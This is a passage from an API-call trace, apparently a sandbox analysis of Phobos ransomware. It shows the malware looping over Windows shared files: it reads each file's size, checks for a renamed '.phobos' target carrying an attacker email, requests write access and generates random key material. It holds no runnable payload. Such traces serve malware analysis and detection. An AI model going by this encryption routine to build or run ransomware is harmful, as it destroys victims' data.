hTemplateFile=0x0) returned 0x2e8 [0132.433] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2526) returned 1 [0132.433] CloseHandle (hObject=0x2e8) returned 1 [0132.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0132.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.433] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.433] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2522) returned 1 [0132.433] CloseHandle (hObject=0x2e8) returned 1 [0132.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0132.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.434] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.434] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2568) returned 1 [0132.434] CloseHandle (hObject=0x2e8) returned 1 [0132.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0132.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.434] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.434] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2626) returned 1 [0132.434] CloseHandle (hObject=0x2e8) returned 1 [0132.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0132.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.435] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.435] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2580) returned 1 [0132.435] CloseHandle (hObject=0x2e8) returned 1 [0132.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0132.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.435] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.436] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2600) returned 1 [0132.436] CloseHandle (hObject=0x2e8) returned 1 [0132.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0132.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.436] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.436] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2246) returned 1 [0132.436] CloseHandle (hObject=0x2e8) returned 1 [0132.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0132.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.437] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.437] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2240) returned 1 [0132.437] CloseHandle (hObject=0x2e8) returned 1 [0132.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0132.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.437] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.437] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2644) returned 1 [0132.437] CloseHandle (hObject=0x2e8) returned 1 [0132.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0132.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.438] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.438] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2542) returned 1 [0132.438] CloseHandle (hObject=0x2e8) returned 1 [0132.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0132.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.438] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.438] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2568) returned 1 [0132.438] CloseHandle (hObject=0x2e8) returned 1 [0132.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0132.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.439] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.439] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2596) returned 1 [0132.439] CloseHandle (hObject=0x2e8) returned 1 [0132.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0132.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.439] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.440] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2520) returned 1 [0132.440] CloseHandle (hObject=0x2e8) returned 1 [0132.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0132.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.440] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.440] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2720) returned 1 [0132.440] CloseHandle (hObject=0x2e8) returned 1 [0132.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0132.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.440] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.441] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=255) returned 1 [0132.441] CloseHandle (hObject=0x2e8) returned 1 [0132.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0132.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.442] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.442] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1074) returned 1 [0132.442] CloseHandle (hObject=0x2e8) returned 1 [0132.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0132.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.443] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.443] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=231) returned 1 [0132.443] CloseHandle (hObject=0x2e8) returned 1 [0132.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0132.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.444] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.444] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=23871) returned 1 [0132.444] CloseHandle (hObject=0x2e8) returned 1 [0132.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0132.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 